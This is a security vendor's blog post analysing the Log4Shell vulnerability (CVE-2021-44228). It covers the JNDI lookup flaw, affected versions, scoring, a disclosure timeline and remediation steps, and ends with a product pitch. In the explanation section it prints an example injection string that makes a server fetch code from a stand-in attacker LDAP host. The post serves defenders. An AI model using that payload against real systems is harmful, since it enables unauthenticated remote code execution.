Safeguard
Vulnerability Analysis

Log4Shell (CVE-2021-44228) Deep Dive: JNDI Injection in L...

Log4Shell (CVE-2021-44228) let attackers achieve remote code execution via a single logged string. A deep dive into the JNDI flaw, its impact, and remediation.

Vikram Iyer
Security Researcher
8 min read

On December 9, 2021, the security world learned that one of the most widely deployed logging libraries in the Java ecosystem contained a flaw that let an attacker gain full remote code execution by getting a single, unremarkable string logged. CVE-2021-44228, universally known as Log4Shell, affected Apache Log4j2 — a dependency embedded, directly or transitively, in an enormous share of enterprise Java software, cloud platforms, and consumer applications. Within days it triggered one of the largest coordinated patching efforts in the history of software security, as defenders raced to find every instance of a library that few had ever consciously chosen to install, buried three or four layers deep in dependency trees they didn't fully control.

Log4Shell mattered not because it was clever in a narrow, academic sense, but because it combined three properties that rarely occur together: trivial exploitability (a single crafted string), catastrophic impact (unauthenticated remote code execution), and almost unbounded reach (Log4j2 sits inside application servers, security appliances, cloud consoles, and countless internal tools). That combination is why it remains a reference point in supply chain security conversations years later.

What Went Wrong: The JNDI Lookup Feature

Log4j2 included a feature called "message lookup substitution," which allowed operators to embed dynamic values in log output using a ${prefix:name} syntax — for example, pulling in environment variables or system properties at log time. One of the supported lookup prefixes was jndi, which let Log4j2 resolve values via the Java Naming and Directory Interface (JNDI), including over protocols like LDAP, RMI, and DNS.

The vulnerability existed because Log4j2 didn't just use this feature for operator-configured lookups — it evaluated ${jndi:...} patterns found inside logged data itself, including strings supplied by end users. If an application logged a value an attacker controlled (a User-Agent header, a username field, an HTTP request parameter, a chat message), and that value contained something like:

${jndi:ldap://attacker.example.com/a}

Log4j2 would perform a JNDI lookup against the attacker's server, which could respond with a reference to a remote Java class. Under the right JVM conditions, Log4j2 would fetch and execute that class, giving the attacker code execution on the vulnerable host — with no authentication required, and often with no interaction beyond the application logging an attacker-supplied string. The exploit was first widely publicized via Minecraft chat messages, but the same one-line payload worked against any Java application logging untrusted input through a vulnerable Log4j2 version.

Affected Versions and Components

The vulnerable JNDI lookup behavior was present in Log4j2 from version 2.0-beta9 through 2.14.1. Apache Log4j 1.x uses a fundamentally different, older codebase and is not affected by CVE-2021-44228 itself (though Log4j 1.x had its own separate, unrelated issues and had already reached end-of-life, which was itself a supply chain risk for anyone still running it).

Because Log4j2 is a foundational, widely-reused dependency, the practical scope went well beyond applications that used it directly. Any product bundling a vulnerable Log4j2 version — application servers, Elasticsearch and its ecosystem, various Apache projects like Struts and Solr, security and networking appliances, SaaS backends, and internal enterprise tooling — inherited the vulnerability transitively. This is the core lesson supply chain security teams took from the incident: an organization's exposure to Log4Shell was determined not by what it had explicitly installed, but by the full, often poorly-cataloged tree of dependencies-of-dependencies running in production.

CVSS, EPSS, and KEV Status

CVE-2021-44228 received a CVSS v3.1 base score of 10.0 (Critical) from NVD — the maximum possible score, reflecting a network-exploitable, low-complexity vulnerability requiring no privileges or user interaction, with complete impact on confidentiality, integrity, and availability, and scope change (the ability to affect resources beyond the vulnerable component itself).

The vulnerability's EPSS (Exploit Prediction Scoring System) score has consistently sat at or near the top of the scale since scoring began being tracked for it, reflecting the reality that Log4Shell was — and, on unpatched systems, remains — under active, widespread exploitation. It was added to CISA's Known Exploited Vulnerabilities (KEV) catalog almost immediately given the scale of real-world exploitation observed within hours of public disclosure, and it has been cited repeatedly in CISA and international CERT advisories as a case study in supply chain exposure from nested dependencies.

Timeline

  • Nov 24, 2021 — Chen Zhaojun of Alibaba Cloud's security team privately reported the JNDI lookup issue to the Apache Log4j project.
  • Early December 2021 — Exploitation activity began surfacing publicly, notably through Minecraft server chat exploits, before an official patch was broadly available.
  • Dec 9, 2021 — Proof-of-concept exploit code was published, CVE-2021-44228 was assigned, and Apache released Log4j 2.15.0 with an initial fix. Public disclosure triggered immediate, mass internet-wide scanning and exploitation attempts.
  • Dec 10, 2021 — CISA and vendors worldwide issued emergency advisories; the vulnerability was added to the KEV catalog given confirmed active exploitation.
  • Mid-December 2021 — The 2.15.0 fix was found incomplete in certain non-default configurations, leading to a follow-up vulnerability (CVE-2021-45046) and the release of Log4j 2.16.0, which removed message lookup substitution entirely and disabled JNDI by default.
  • Later in December 2021 — Additional, lower-severity issues were identified and patched in subsequent releases (2.17.0 and 2.17.1), addressing a denial-of-service condition and a more narrowly-scoped RCE vector requiring non-default configuration.

The multi-release patch cycle is itself an important part of the story: teams that patched to the first available fix and stopped tracking the issue were, in some configurations, still exposed to follow-on CVEs disclosed in the same month.

Remediation

The consensus remediation path, in order of preference, was:

  1. Upgrade Log4j2 to a fully patched release (2.17.1 or later in the 2.x line) rather than stopping at the first available patch, given the sequence of follow-up fixes.
  2. Where immediate upgrade wasn't possible, remove the vulnerable class from the classpath — deleting JndiLookup.class from the log4j-core JAR was a widely recommended interim mitigation that disabled the vulnerable lookup mechanism without requiring a full library upgrade.
  3. Set the log4j2.formatMsgNoLookups=true system property (or the equivalent environment variable) as a stopgap for versions where this control was effective, though this was later shown to be incomplete for some vulnerable versions and should not have been treated as a substitute for upgrading.
  4. Inventory every instance of Log4j2, including inside third-party and vendor products, container images, and shaded or repackaged JARs — because the library was so frequently bundled rather than declared as a direct dependency, many organizations discovered instances they didn't know they were running.
  5. Monitor for indicators of exploitation, including outbound LDAP/RMI connections from application servers and JNDI lookup strings in logs and web request data, since exploitation attempts often preceded organizations' ability to patch every affected system.

The scale of remediation work stemmed directly from the difficulty of step 4: finding every affected component required visibility into transitive dependencies across build artifacts, container images, and third-party software — visibility that most organizations' existing asset inventories simply didn't provide.

How Safeguard Helps

Log4Shell is the clearest possible argument for why software supply chain visibility can't stop at direct dependencies. Safeguard is built around the premise that you can only respond quickly to a vulnerability like CVE-2021-44228 if you already know, before the CVE ever drops, exactly where every version of every component lives across your codebases, build pipelines, and deployed artifacts.

For a Log4Shell-class event, Safeguard helps teams:

  • Continuously inventory transitive dependencies, so a nested copy of a vulnerable Log4j2 JAR three layers deep in a vendor library shows up in the same view as a directly declared dependency — rather than requiring a manual, panic-driven audit after disclosure.
  • Correlate SBOM data against newly published CVEs and KEV entries in near real time, flagging affected components across every repository and running service the moment a match is found, instead of relying on teams to remember to check.
  • Track remediation across the full patch lifecycle, which matters especially for incidents like this one where the first patch (2.15.0) was superseded by further fixes — Safeguard can confirm not just that a component was "updated," but that it was updated to a version that actually closes the exploitable gap.
  • Surface exposure in build pipelines and container registries, catching vulnerable versions baked into images before they ever reach production, and gating releases that reintroduce a known-bad dependency.
  • Provide auditable evidence of remediation timelines, which is exactly what compliance frameworks and customer security questionnaires ask for in the aftermath of a critical, actively exploited CVE.

Log4Shell showed the industry that supply chain risk isn't hypothetical, and that the gap between "a CVE was published" and "we know if we're affected" is where the real damage happens. Closing that gap — continuously, automatically, and before the next Log4Shell — is what Safeguard is designed to do.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.